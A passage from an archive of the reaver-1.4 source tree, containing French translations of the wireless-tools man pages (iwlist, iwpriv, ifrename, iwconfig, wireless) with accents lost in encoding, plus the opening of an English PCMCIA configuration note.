habituellement, le pilote retourne le nombre total de canaux et seulement les frquences disponibles dans la rgion considre, donc il n'y a pas correspondance entre le nombre de frquences affiches et le nombre de canaux. .TP .BR rate / bit [rate] Liste les dbits supports par le priphrique (en b/s). .TP .BR key / enc [ryption] Liste les tailles des clefs de cryptage supportes et affiche toutes les clefs de cryptage disponibles dans le priphrique. .TP .B power Liste les divers attributs et modes d'conomie d'nergie (\ Power Management\ ) du priphrique. .TP .B txpower Liste les diffrentes puissances d'mission (\ Transmit Powers\ ) disponibles dans le priphrique. .TP .B retry Liste les limites des tentatives de transmissions (\ transmit retry limits\ ) et la dure de vie des tentatives (\ retry lifetime\ ) du priphriques (NDT\ : voir la section .B retry de iwconfig(8)). .TP .BR ap / accesspoint / peers Donne la liste des Points d'Accs porte, et optionnellement la quali de leur lien. Cette option est .B obsolte et est maintenant dprcie en faveur du support scan (voir ci-dessus), et la plupart des pilotes ne le supporte pas. .br Quelques pilotes peuvent utiliser cette commande pour retourner une liste spcifique de Paires (\ Peers\ ) ou de Points d'Accs, telle que la liste des Paires associs/enregistrs avec la carte. Voir la documentation du pilote pour plus de dtails. .TP .B event Liste les vnements wireless supports par le priphrique. .TP .B --version Affiche la version des outils, ainsi que la version courante et recommande des Wireless Extensions pour l'outil et les diverses interfaces sans fil. .\" .\" TRADUCTION part .\" .SH TRADUCTION Maxime CHARPENNE, aot 2004 (wireless_tools.27-pre25). .\" \" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. .\" .\" FILES part .\" .SH FICHIERS .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH VOIR AUSSI .BR iwconfig (8), .BR iwspy (8). .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/fr/iwpriv.80000755000175000017500000001026711705505257015612 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwpriv.8 .\" .\" Traduction 2003/08/17 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 26 .\" Manuel identique pour version 27-pre9 (beta) .\" Manuel identique pour version 27-pre11 (alpha) .\" .TH IWPRIV 8 "31 octobre 1996" "net-tools" "Manuel du programmeur Linux" .\" .\" NAME part .\" .SH NOM iwpriv \- configure les paramtres optionnels (privs) d'une interface rseau sans fil .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwpriv [" interface ] .br .BI "iwpriv " "interface private-command " "[" private-parameters ] .br .BI "iwpriv " "interface private-command [I] " "[" private-parameters ] .br .BI "iwpriv " interface " --all" .br .BI "iwpriv " interface " roam " {on,off} .br .BI "iwpriv " interface " port " {ad-hoc,managed,N} .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Iwpriv est l'outil utiliser avec .IR iwconfig (8). .B Iwpriv traite les paramtres et attributs spcifiques chaque pilote (contrairement .I iwconfig qui ne s'occupe que des gnriques). .PP Sans argument, .B iwpriv liste les commandes prives disponibles sur chaque interface, ainsi que les paramtres qu'elles requirent. En utilisant ces informations, l'utilisateur peut appliquer ces commandes particulires sur les interfaces spcifies. .PP En thorie, la documentation de chaque pilote devrait indiquer comment utiliser ces commandes spcifiques et leurs effets. .\" .\" PARAMETER part .\" .SH PARAMTRES .TP .IR private-command " [" private-parameters ] Excute la .I private-command (commande prive) spcifie sur l'interface. .br La commande peut ventuellement prendre ou ncessiter des arguments, et peut afficher de l'information. En consquent, les paramtres de la ligne de commande peuvent ou peuvent ne pas tre ncessaires et doivent correspondre aux besoins de la commande. La liste des commandes que .B iwpriv affiche (quand il est appel sans paramtre) doit vous donner des indications sur ces paramtres. .br Cependant, vous devriez vous reporter la documentation du pilote du priphrique pour utiliser les commandes correctement, ainsi que connatre leurs effets. .TP .I "private-command [I]" "[" private-parameters ] Idem, sauf que .I I (un entier) est pass la commande en tant que .I "Token Index" (indication d'index). Seules quelques commandes utiliseront ce \ Token Index\ (la plupart l'ignoreront), et la documentation du pilote devrait prciser quand il est ncessaire. .TP .BR -a / --all Excute et affiche toutes les commandes prives qui ne prennent aucun argument (c.--d. en lecture seule). .TP .B roam Active ou dsactive le \ roaming\ , s'il est support. Appelle la commande prive .IR setroam . Trouv dans le pilote .I wavelan_cs .TP .B port Lit ou configure le type de port. Appelle les commandes prives .IR gport_type ", " sport_type ", " get_port " ou " set_port trouves dans les pilotes .IR wavelan2_cs " et " wvlan_cs . .\" .\" DISPLAY part .\" .SH AFFICHAGE Pour chaque matriel qui supporte les commandes prives, .I iwpriv affichera la liste des commandes prives disponibles. .PP Cela inclut le nom de la commande prive, le nombre d'arguments qui peuvent tre entrs et leur type, ainsi que le nombre d'arguments qui peuvent tre affichs et leur type. .PP Par exemple, vous pouvez avoir l'affichage suivant\ : .br .B "eth0 Available private ioctl :" .br .B " setqualthr (89F0) : set 1 byte & get 0" .br .B " gethisto (89F7) : set 0 & get 16 int" .PP Cela veut dire que vous pouvez fixer le seuil de qualit et afficher un histogramme jusqu' 16 valeurs avec les commandes suivantes\ : .br .I " iwpriv eth0 setqualthr 20" .br .I " iwpriv eth0 gethisto" .\" .\" AUTHOR part .\" .SH AUTHOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRADUCTION part .\" .SH TRADUCTION Maxime CHARPENNE, aot 2003. .\" \" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. .\" .\" FILES part .\" .SH FILES .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR iwconfig (8), .BR iwlist (8), .BR iwevent (8), .BR iwspy (8), .BR wireless (7). reaver-1.4/src/lwe/fr/ifrename.80000755000175000017500000001047511705505257016061 0ustar reaverreaver.\" Jean II - HPL - 2004 .\" ifrename.8 .\" .\" Traduction 2004/08/25 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 27-pre25 .TH IFRENAME 8 "01 mars 2004" "wireless-tools" "Manuel du programmeur Linux" .\" .\" NAME part .\" .SH NOM ifrename \- renomme les interfaces rseau bases sur diffrents critres statiques .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .B "ifrename [-c configfile] [-p] [-d]" .br .B "ifrename [-c configfile] [-i interface] [-n newname]" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Ifrename est un outil vous permettant d'assigner un nom cohrent chacune de vos interfaces rseau. .PP Par dfaut, les noms d'interface sont dynamiques, et chaque interface rseau est assign le premier nom disponible .RI ( eth0 ", " eth1 "...)." L'ordre dans lequel les interfaces rseau sont cres peut varier. Pour les interfaces fixes (\ built-in interfaces\ ), l'numration du noyau au dmarrage peut varier. Pour les interfaces dbranchables, l'utilisateur peut les brancher dans n'importe quel ordre. .PP .B Ifrename permet l'utilisateur de dcider quel nom une interface rseau aura. .B Ifrename peut utiliser diffrents slecteurs .RI "(\ " selectors "\ )" pour spcifier comment les noms d'interface correspondent aux interfaces rseau du systme, le plus commun des slecteurs tant .RI "l'" "adresse MAC" de l'interface. .PP .B Ifrename doit tre lanc avant que les interfaces ne soient dmarres, raison pour laquelle il est surtout utile dans divers scripts (init, hotplug), mais il est rarement utilis directement par l'utilisateur. Par dfaut, .B ifrename renomme toutes les interfaces systme prsentes en utilisant les correspondances dfinies dans .IR /etc/iftab . .\" .\" PARAMETER part .\" .SH PARAMTRES .TP .BI "-c " configfile Fixe le fichier de configuration utiliser (par dfaut .IR /etc/iftab ). Le fichier de configuration dfinit la correspondance entre les slecteurs et les noms d'interface, et il est dcrit dans .IR iftab (5). .br Si .I configfile est \ -\ , la configuration est lue depuis stdin. .TP .B -p Sonde (charge) les modules noyau avant de renommer les interfaces. Par dfaut, .B ifrename vrifie seulement les interfaces dj charges, et ne charge pas automatiquement les modules noyau requis. Cette option autorise une intgration en douceur dans les systmes qui ne chargent pas les modules avant d'appeler .BR ifrename . .TP .B -d Active divers bidouillages spcifiques la .BR Debian . Combin avec .BR -p , seuls les modules pour les interfaces spcifies dans .I /etc/network/interface sont chargs. .TP .BI "-i " interface Renomme seulement .RI "l'" interface spcifie, par opposition toutes les interfaces prsentes sur le systme. Le nouveau nom de l'interface est affich. .TP .BI "-n " newname Si utilis avec .IR -i , spcifie le nouveau nom de l'interface. La liste des correspondances depuis le fichier de configuration est ignore. Le nouveau nom peut tre un joker (\ wildcard\ ) qui contient une seule '*'. .TP .B -t Active l'absorption (\ takover\ ) de nom. Cela permet d'changer un nom d'interface entre deux interfaces ou plus. .br L'absorption permet une interface de \ voler\ le nom d'une autre interface. Cela fonctionne seulement avec le noyau 2.6.X et si l'autre interface est dsactive. En consquence, ce n'est pas compatible avec Hotplug. L'autre interface se voit assigner un nom alatoire, mais peut tre renomme plus tard avec 'ifrename'. .br Le nombre d'absorptions est limit pour viter les boucles circulaires, et donc certaines situations d'changes de noms complexes ne seront pas compltement traites. .br Dans tous les cas, l'change de noms et l'utilisation de cette caractristique sont dcourags, et vous tes invits choisir des noms uniques et sans ambigut pour vos interfaces... .\" .\" AUTHOR part .\" .SH AUTEUR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRADUCTION part .\" .SH TRADUCTION Maxime CHARPENNE, aot 2004 (wireless_tools.27-pre25). .\" .\" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. .\" .\" FILES part .\" .SH FICHIERS .I /etc/iftab .\" .\" SEE ALSO part .\" .SH VOIR AUSSI .BR ifconfig (8), .BR ip (8), .BR iftab (5). reaver-1.4/src/lwe/fr/iwconfig.80000755000175000017500000004366511705505257016107 0ustar reaverreaver.\" Jean II - HPLB - 1996 => HPL - 2004 .\" iwconfig.8 .\" .\" Traduction 2003/07/15 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 26 .\" Mise jour 2004/01/28 : version 27-pre9 (beta) .\" Mise jour 2004/02/26 : version 27-pre11 (alpha) .\" Mise jour 2004/08/23 : version 27-pre25 .\" .TH IWCONFIG 8 "22 juin 2004" "wireless-tools" "Manuel du programmeur Linux" .\" .\" NAME part .\" .SH NOM iwconfig \- configure une interface rseau sans-fil (wireless) .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwconfig [" interface ] .br .BI "iwconfig " interface " [essid " X "] [nwid " N "] [freq " F "] [channel " C ] .br .BI " [sens " S "] [mode " M "] [ap " A "] [nick " NN ] .br .BI " [rate " R "] [rts " RT "] [frag " FT "] [txpower " T ] .br .BI " [enc " E "] [key " K "] [power " P "] [retry " R ] .br .BI " [commit] .br .BI "iwconfig --help" .br .BI "iwconfig --version" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Iwconfig est similaire .IR ifconfig (8), mais est ddi aux interfaces wireless. Il est utilis pour manier les paramtres des interfaces rseaux qui sont spcifiques aux oprations wireless (par exemple\ : la frquence). .B Iwconfig peut aussi tre utilis pour afficher ces paramtres, et les statistiques concernant le sans fil (extraites de .IR /proc/net/wireless ). .PP Tous ces paramtres et statistiques dpendent du matriel. Chaque pilote ne fournira que quelques uns d'entre eux en fonction du support matriel, et l'tendue des valeurs peut changer. Veuillez vous rfrer aux pages man de chaque matriel pour plus de dtails. .\" .\" PARAMETER part .\" .SH PARAMTRES .TP .B essid Positionne le ESSID ( ou Network Name - pour certains produits, il peut aussi tre dsign comme Domain ID). L'ESSID est utilis pour identifier les cellules qui font partie du mme rseau virtuel. .br Par opposition l'adresse de l'AP ou au NWID qui dfinissent une seule cellule, l'ESSID dfinit un groupe de cellules connectes via des rpteurs ou via l'infrastructure, o l'utilisateur peut \ roamer\ ou errer de manire transprente (c.--d. changer de cellule sans perdre sa connexion). .br Avec certaines cartes, vous pouvez dsactiver le contrle du ESSID (ESSID promiscuous) avec .IR off " ou " any " (et " on pour le ractiver). .br .B Exemples : .br .I " iwconfig eth0 essid any" .br .I " iwconfig eth0 essid ""Mon Reseau"" .TP .BR nwid / domain Positionne le Network ID (pour certains produits, il peut aussi tre appel Domain ID). Comme tous les rseaux sans fil adjacents partagent le mme mdium, ce paramtre est utilis pour les diffrencier (crer des rseaux logiques colocaliss) et pour identifier des noeuds appartenant la mme cellule. .br Ce paramtre est seulement utilis par les matriels antrieurs 802.11, la norme 802.11 se servant du ESSID et de l'adresse de l'AP pour cette fonction. .br Avec certaines cartes, vous pouvez dsactiver le contrle du Network ID (NWID promiscuous) avec .IR off " (et " on pour le ractiver). .br .B Exemples : .br .I " iwconfig eth0 nwid AB34 .br .I " iwconfig eth0 nwid off" .TP .BR freq / channel Positionne la frquence d'exploitation ou canal du priphrique. Une valeur infrieure 1\ 000 indique un numro de canal, une valeur suprieure 1\ 000 est une frquence en Hz. Vous pouvez ajouter le suffixe k, M ou G la valeur (par exemple, \ 2.46G\ pour la frquence 2,46\ GHz), ou ajouter suffisamment de \ 0\ . .br Les canaux sont habituellement numrots partir de 1, et vous pouvez utiliser .IR iwlist (8) pour obtenir le nombre total de canaux, lister les frquences disponibles, et afficher le frquence courante comme un canal. Suivants les rglementations, certaines frquences/canaux peuvent ne pas tre disponibles. .br .B Exemples : .br .I " iwconfig eth0 freq 2422000000" .br .I " iwconfig eth0 freq 2.422G" .br .I " iwconfig eth0 channel 3" .TP .B sens Positionne le seuil de sensibilit. C'est le niveau de signal le plus bas pour lequel le matriel essaye de rceptionner un paquet, les signaux plus bas sont ignors. Ceci est utilis pour viter de recevoir le bruit de fond, donc vous devriez le positionner en fonction du niveau de bruit moyen. Les valeurs positives sont supposes tre les valeurs brutes utilises par le matriel ou un pourcentage, les valeurs ngatives sont supposes tre des dBm. .br Avec certains matriels, ce paramtre contrle aussi le seuil de report (defer threshold) (signal le plus faible pour lequel le matriel considre le canal occup) et le seuil de cession (handover threshold) (niveau de signal pour lequel le matriel commence chercher un nouveau Point d'Accs). .br .B Exemple : .br .I " iwconfig eth0 sens -80" .TP .B mode Positionne le mode de fonctionnement du matriel, qui dpend de la topologie du rseau. Le mode peut tre .I Ad-Hoc (rseau compos d'une seule cellule et sans Point d'Accs), .I Managed (un noeud se connecte un rseau compos de plusieurs Points d'Accs, avec roaming ou errance), .I Master (le noeud est le matre qui synchronise ou agit comme un Point d'Accs), .I Repeater (le noeud transmet les paquets entre les autres nuds wireless), .I Secondary (le noeud agit comme un matre/rpteur supplmentaire), .I Monitor (le noeud agit comme un moniteur passif et ne fait que recevoir des paquets) ou .IR Auto . .br .B Exemple : .br .I " iwconfig eth0 mode Managed" .br .I " iwconfig eth0 mode Ad-Hoc" .TP .B ap Force la carte s'enregistrer auprs du Point d'Accs donn par l'adresse, si c'est possible. Quand la qualit de la connexion devient trop mauvaise, le pilote peut revenir en mode automatique (la carte slectionne le meilleur Point d'Accs porte). .br Vous pouvez aussi utiliser .I off pour ractiver le mode automatique sans changer le Point d'Accs courant, ou vous pouvez utiliser .I any ou .I auto pour forcer la carte se r associer avec le meilleur Point d'Accs courant. .br .B Exemple : .br .I " iwconfig eth0 ap 00:60:1D:01:23:45" .br .I " iwconfig eth0 ap any" .br .I " iwconfig eth0 ap off" .TP .BR nick [name] Positionne le surnom (nickname), ou nom de station. Quelques produits 802.11 le dfinissent, mais il n'est pas utilis dans la mesure o les protocoles les plus usits (MAC, IP, TCP) ne s'en servent pas en l'tat. Seuls quelques outils de diagnostic peuvent l'utiliser. .br .B Exemple : .br .I " iwconfig eth0 nickname ""My Linux Node"" .TP .BR rate / bit [rate] Pour les cartes supportant plusieurs dbits, positionne le dbit en b/s. Le dbit est la vitesse laquelle les bits sont transmis sur le mdium, la vitesse du lien pour l'utilisateur est infrieure cause du partage du mdium et des diverses enttes. .br Vous pouvez ajouter le suffixe k, M ou G la valeur (multiplicateur dcimal\ : 10^3, 10^6 et 10^9\ b/s), ou ajouter suffisamment de \ 0\ . Les valeurs en-dessous de 1000 sont spcifiques la carte, habituellement un index de la liste des dbit supports. Utilisez .I auto pour slectionner le mode dbit automatique (repli un dbit moindre pour les canaux bruits), ce qui est le mode par dfaut pour la plupart des cartes, et .I fixed pour revenir des paramtres fixes. Si vous spcifiez une valeur de dbit et ajoutez .IR auto , le driver utilisera tous les dbits infrieurs et gaux cette valeur. .br .B Exemples : .br .I " iwconfig eth0 rate 11M" .br .I " iwconfig eth0 rate auto" .br .I " iwconfig eth0 rate 5.5M auto" .TP .BR rts [_threshold] RTS/CTS ajoute une \ poigne de main\ avant chaque transmission de paquet pour tre sr que le canal est libre. Cela ajoute des enttes (NDT\ : donnes de gestion), mais augmente les performances en cas de nuds cachs ou d'un grand nombre de noeuds actifs. Ce paramtre fixe la taille du plus petit paquet pour lequel le noeud envoie un RTS\ ; une valeur gale la taille maximale des paquets inhibe ce mcanisme. Vous pouvez aussi positionner ce paramtre sur .IR auto ", " fixed " ou " off . .br .B Exemples : .br .I " iwconfig eth0 rts 250" .br .I " iwconfig eth0 rts off" .TP .BR frag [mentation_threshold] La fragmentation permet de dcouper un paquet IP en une srie de plus petits fragments transmis par le mdium. Dans la plupart des cas, cela ajoute des enttes, mais dans un environnement trs bruit, cela rduit les cots de transmission dus aux erreurs et permet aux paquets d'tre achemins malgr des sries d'interfrences. Ce paramtre fixe la taille de fragment maximale\ ; une valeur gale la taille maximale de paquet dsactive ce procd. Vous pouvez aussi mettre ce paramtre .IR auto ", " fixed " ou " off . .br .B Exemples : .br .I " iwconfig eth0 frag 512" .br .I " iwconfig eth0 frag off" .TP .BR key / enc [ryption] Utilis pour manipuler les clefs de cryptage ou brouillage et le mode de scurit. .br Pour mettre la clef courante de cryptage, il suffit d'entrer la clef en hexadcimal telle que .IR XXXX-XXXX-XXXX-XXXX " ou " XXXXXXXX . Pour entrer une autre clef que la clef courante, ajoutez (au dbut ou la fin) .I [index] la clef elle-mme (cela ne changera pas la clef active). Vous pouvez aussi entrer la clef comme une chane ASCII en utilisant le prfixe .IR s: . Les phrases en tant que mot de passe ne sont actuellement pas supportes. .br Pour changer la clef active parmi les clefs dj entres, il suffit d'entrer .RI l' "[index]" (sans entrer de valeur de clef). .br .IR off " et " on dsactive et ractive le cryptage. .br Le mode de scurit peut tre .I open ou .IR restricted , et sa signification dpend de la carte utilise. Avec la plupart des cartes, le mode .I open n'utilise pas d'authentification et la carte accepte des sessions non cryptes, alors que le mode .I restricted n'accepte que des sessions cryptes et la carte utilisera l'authentification si disponible. .br Si vous avez besoin de mettre plusieurs clefs, ou de mettre une clef et de changer la clef active, vous avez besoin d'utiliser des instructions clefs .RB ( "key" ) multiples. Les arguments peuvent tre mis dans n'importe quel ordre, le dernier sera prioritaire. .br .B Exemples : .br .I " iwconfig eth0 key 0123-4567-89" .br .I " iwconfig eth0 key [3] 0123-4567-89" .br .I " iwconfig eth0 key s:password [2]" .br .I " iwconfig eth0 key [2]" .br .I " iwconfig eth0 key open" .br .I " iwconfig eth0 key off" .br .I " iwconfig eth0 key restricted [3] 0123456789" .br .I " iwconfig eth0 key 01-23 key 45-67 [4] key [4]" .TP .BR power Utilis pour manipuler les paramtres et le mode du procd de gestion d'nergie. .br Pour fixer la priode entre les veils, entrez la .IR "period `valeur'" . Pour fixer la temporisation avant le retour en veille, entrez la .IR "timeout `valeur'" . Vous pouvez aussi ajouter les modificateurs .IR min " et " max ". Par dfaut, ces valeurs sont exprimes en secondes, ajoutez le suffixe m ou u pour spcifier les valeurs en millisecondes ou microsecondes. Parfois, ces valeurs sont sans unit (nombre de priodes de beacon, dwell ou similaire). .br .IR off " et " on dsactive et ractive la gestion d'nergie. Enfin, vous pouvez mettre la gestion d'nergie en mode .I all (reoit tous les paquets), .I unicast (reoit seulement les paquets unicast, ignore les paquets multicast et de broadcast) et .I multicast (reoit seulement les paquets multicast et de broadcast, ignore l'unicast). .br .B Exemples : .br .I " iwconfig eth0 power period 2" .br .I " iwconfig eth0 power 500m unicast" .br .I " iwconfig eth0 power timeout 300u all" .br .I " iwconfig eth0 power off" .br .I " iwconfig eth0 power min period 2 power max period 4" .TP .BR txpower Pour les cartes supportant plusieurs puissances de transmission, rgle la puissance de transmission en dBm. Si .I W est la puissance en Watt, la puissance en dBm est .IR "P\ =\ 30\ +\ 10.log(W)" . Si la valeur est post fixe par .IR mW , elle sera automatiquement convertie en dBm. .br De plus, .IR on " et " off active et dsactive la radio, et .IR auto " et " fixed active et dsactive le contrle de puissance (si ces fonctions sont disponibles). .br .B Exemples : .br .I " iwconfig eth0 txpower 15" .br .I " iwconfig eth0 txpower 30mW" .br .I " iwconfig eth0 txpower auto" .br .I " iwconfig eth0 txpower off" .TP .BR retry La plupart des cartes supportent les retransmissions MAC (contrle d'accs au mdium), et certaines permettent le paramtrage du mcanisme des tentatives (en cas d'chec). .br Pour fixer le nombre maximum d'essais, entrez .IR "limit `valeur'" . C'est une valeur absolue (sans unit). Pour fixer le temps maximum autoris au mcanisme MAC pour ses tentatives, entrez .IR "lifetime `valeur'" . Par dfaut, cette valeur est en secondes, ajouter le suffixe m ou u pour spcifier les valeurs en millisecondes ou microsecondes. .br Vous pouvez aussi ajouter les modificateurs .IR min " et " max ". Si la carte supporte le mode automatique, ils dfinissent les limites du lifetime, ou les limites infrieure et suprieure (NDT\ : de l'intervalle temporel dans lequel le mcanisme MAC est autoris ritrer ses tentatives). D'autres cartes dfinissent des valeurs diffrentes en fonction de la taille des paquets, par exemple la norme 802.11 dfinit une .I min limit qui est la limite infrieure d'essai (paquets non RTS/CTS). .br .B Exemples : .br .I " iwconfig eth0 retry 16" .br .I " iwconfig eth0 retry lifetime 300m" .br .I " iwconfig eth0 retry min limit 8" .TP .BR commit Certaines cartes peuvent ne pas appliquer immdiatement les changements effectus par les Wireless Extensions (elles peuvent attendre pour prendre en compte les changements ou les appliquer seulement quand la carte est monte via ifconfig). Cette commande (si disponible) force la carte appliquer les changements en suspens. .br Cela n'est normalement pas ncessaire, car la carte appliquera ventuellement les changements, mais peut tre utile pour dbuggage. .\" .\" DISPLAY part .\" .SH AFFICHAGE Pour chaque matriel qui supporte les extensions wireless, .I iwconfig affiche le nom du .B protocole MAC utilis (nom du matriel pour les protocoles propritaires), .RB l' ESSID (Network Name), le .BR NWID , la .B frquence (ou canal), la .BR sensibilit , le .B mode d'exploitation, l'adresse du .BR "Point d'Accs", le .BR dbit , le .BR "seuil RTS" " (" "RTS threshold" "), le " .BR "seuil de fragmentation" " (" "fragmentation threshold" "), la .B clef de cryptage et les paramtres de .BR "gestion de l'nergie" " (" "power management" ")" (en fonction de la disponibilit). .PP Les paramtres affichs ont la mme signification et la mme valeur que ceux que vous pouvez rgler, veuillez vous reporter la prcdente partie pour leur explication dtaille. .br Quelques paramtres sont affichs seulement dans une forme abrge (comme le cryptage). Vous devez utiliser .IR iwlist (8) pour avoir tous les dtails. .br Certains paramtres ont deux modes (comme le dbit). Si la valeur est prfixe par .RB \ =\ , cela veut dire que le paramtre est fix et forc cette valeur, s'il est prfix par .RB \ :\ , le paramtre est en mode automatique et la valeur courante est montre (et peut changer). .TP .BR "Access Point" / Cell Une adresse gale 00:00:00:00:00:00 signifie que la carte n'a pas russi s'associer avec un Point d'Accs (le plus souvent une question de configuration). Le paramtre .B Access Point sera montr comme une cellule .RB ( Cell ) en mode ad hoc (pour des raisons videntes), mais il fonctionne nanmoins de la mme manire. .PP Si .I /proc/net/wireless existe, .I iwconfig affichera aussi son contenu. Il faut noter que ces valeurs dpendent des spcifications du pilote et de la carte, vous devrez donc vous rfrez la documentation du pilote pour une interprtation correcte de ces valeurs. .TP .B Link quality Qualit globale du lien. Peut tre bas sur le niveau de contention ou des interfrences, le taux d'erreur de trame ou de bit, la qualit du signal reu, des synchronisations temporelles, ou autre mtrique matrielle. C'est une valeur agrgat, et dpend totalement du pilote et du matriel. .TP .B Signal level Force du signal reu (RSSI - force du signal reu). Cela peut tre des units arbitraires ou des dBm, .I iwconfig utilise des mta-informations du pilote pour interprter les valeurs brutes donnes par .I /proc/net/wireless et affiche l'unit ou la valeur maximale correspondante (utilise l'arithmtique 8 bits). En mode .I Ad-Hoc cela peut tre indfini et vous devriez utiliser .IR iwspy . .TP .B Noise level Niveau du bruit de fond (quand aucun paquet n'est transmis). Commentaires similaires ceux de .BR "Signal level" . .TP .B Rx invalid nwid Nombre de paquets reus avec un NWID ou ESSID diffrent. Utilis pour dtecter des problmes de configuration ou l'existence de rseau adjacent (sur la mme frquence). .TP .B Rx invalid crypt Nombre de paquets que le matriel a t incapable de dcrypter. Cela peut tre utilis pour dtecter des mauvais paramtres de cryptage. .TP .B Rx invalid frag Nombre de paquets pour lesquels le matriel a t incapable de r-assembler correctement les fragments de la couche liaison (le plus souvent, il en manque un). .TP .B Tx excessive retries Nombre de paquets que la carte n'a pas russi envoyer. La plupart des protocoles MAC ressaient un certain nombre de fois avant d'abandonner. .TP .B invalid misc Autres paquets perdus en relation avec les oprations spcifiques au sans fil. .TP .B Missed beacon Nombre de beacons priodiques mis par la Cellule ou le Point d'Accs que nous avons manqu. Les beacons sont envoys intervalles rguliers pour maintenir la coordination de la cellule, l'impossibilit de les recevoir indiquant souvent que la carte est hors de porte. .\" .\" AUTHOR part .\" .SH AUTEUR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRADUCTION part .\" .SH TRADUCTION Maxime CHARPENNE, aot 2004 (wireless_tools.27-pre25). .\" .\" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. .\" .\" FILES part .\" .SH FICHIERS .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH VOIR AUSSI .BR ifconfig (8), .BR iwspy (8), .BR iwlist (8), .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/fr/wireless.70000755000175000017500000000627511705505257016132 0ustar reaverreaver.\" Jean Tourrilhes - HPL - 2002 - 2004 .\" wireless.7 .\" .\" Traduction 2004/02/26 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 27-pre11 (alpha) .\" Mise jour 2004/08/24 : version 27-pre25 .TH WIRELESS 7 "04 mars 2004" "wireless-tools" "Manuel du Programmeur Linux" .\" .\" NAME part .\" .SH NOM wireless \- Wireless Tools et Wireless Extensions .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .B iwconfig .br .B iwpriv \-a .br .\" .\" DESCRIPTION part .\" .SH DESCRIPTION Les .B Wireless Extensions sont une API vous permettant de manipuler les interfaces rseaux Wireless LAN. Ils sont composs d'une gamme d'outils et de fichiers de configuration. Ils sont plus amplement dtaills dans le Linux Wireless LAN Howto. .br Les .B Wireless Tools sont utiliss pour changer la configuration des interfaces rseau LAN wireless la vole, pour obtenir leur configuration courante, pour avoir des statistiques et pour les diagnostiquer. Ils sont dcrits dans leur propre page man, voir ci-dessous pour les rfrences. .br La .B configuration Wireless est propre chaque distribution Linux. Cette page man contiendra l'avenir la procdure de configuration pour quelques distributions les plus communes. (quand j'en ai les informations ncessaires). Pour le moment, consultez le fichier DISTRIBUTIONS.txt inclus avec le paquetage Wireless Tools. .\" .\" DEBIAN 3.0 part .\" .SH DEBIAN 3.0 Dans la Debian 3.0 (et suivante) vous pouvez configurer les priphriques rseaux LAN wireless en utilisant l'outil de configuration rseau .BR ifupdown (8). .TP .B Fichier : .I /etc/network/interfaces .TP .B Format : .RI wireless\- " " .br wireless\-essid Maison .br wireless\-mode Ad\-Hoc .TP .B Voir aussi : .I /etc/network/if\-pre\-up.d/wireless\-tools .br .I /usr/share/doc/wireless\-tools/README.Debian .\" .\" SuSE 8.0 part .\" .SH SuSE 8.0 La SuSE 8.0 (et suivante) a intgr la configuration wireless dans ses scripts rseaux. .TP .B Outils : .B Yast2 .TP .B Fichiers : .I /etc/sysconfig/network/wireless .br .I /etc/sysconfig/network/ifcfg\-* .TP .B Format : .RI WIRELESS_ "" = "" .br WIRELESS_ESSID="Maison" .br WIRELESS_MODE=Ad\-Hoc .TP .B Voir aussi : man ifup .br info scpm .\" .\" PCMCIA part .\" .SH SCRIPTS ORIGINAUX PCMCIA Si vous utilisez les scripts originaux de configuration du paquetage Pcmcia, vous pouvez utiliser cette mthode. .TP .B Fichier : .I /etc/pcmcia/wireless.opts .TP .B Format : *,*,*,*) .br ESSID="Maison" .br MODE="Ad-Hoc" .br ;; .TP .B Voir aussi : .I /etc/pcmcia/wireless .br Le fichier .I PCMCIA.txt qui fait partie du paquetage Wireless Tools. .\" .\" AUTHOR part .\" .SH AUTEUR Jean Tourrilhes \- jt@hpl.hp.com .br .I http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/ .\" .\" TRADUCTION part .\" .SH TRADUCTION Maxime CHARPENNE, aot 2004 (wireless-tools.27-pre25). .\" .\" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. .\" .\" SEE ALSO part .\" .SH VOIR AUSSI .BR iwconfig (8), .BR iwlist (8), .BR iwspy (8), .BR iwpriv (8), .BR iwevent (8). reaver-1.4/src/lwe/PCMCIA.txt0000755000175000017500000001255611705505257015272 0ustar reaverreaver Pcmcia Wireless configuration ----------------------------- One of the most exciting things having happen after release 20 is the addition of Wireless Tools support in the Pcmcia init scripts. Here is a quick intro on the subject... Pre-requisite : ------------- o Pcmcia package with Wireless Extension support : 3.1.15 onward o A driver with Wireless Extension support o The tools (iwconfig and co.) installed in the /usr/local/sbin or /usr/sbin Raylink driver : -------------- The 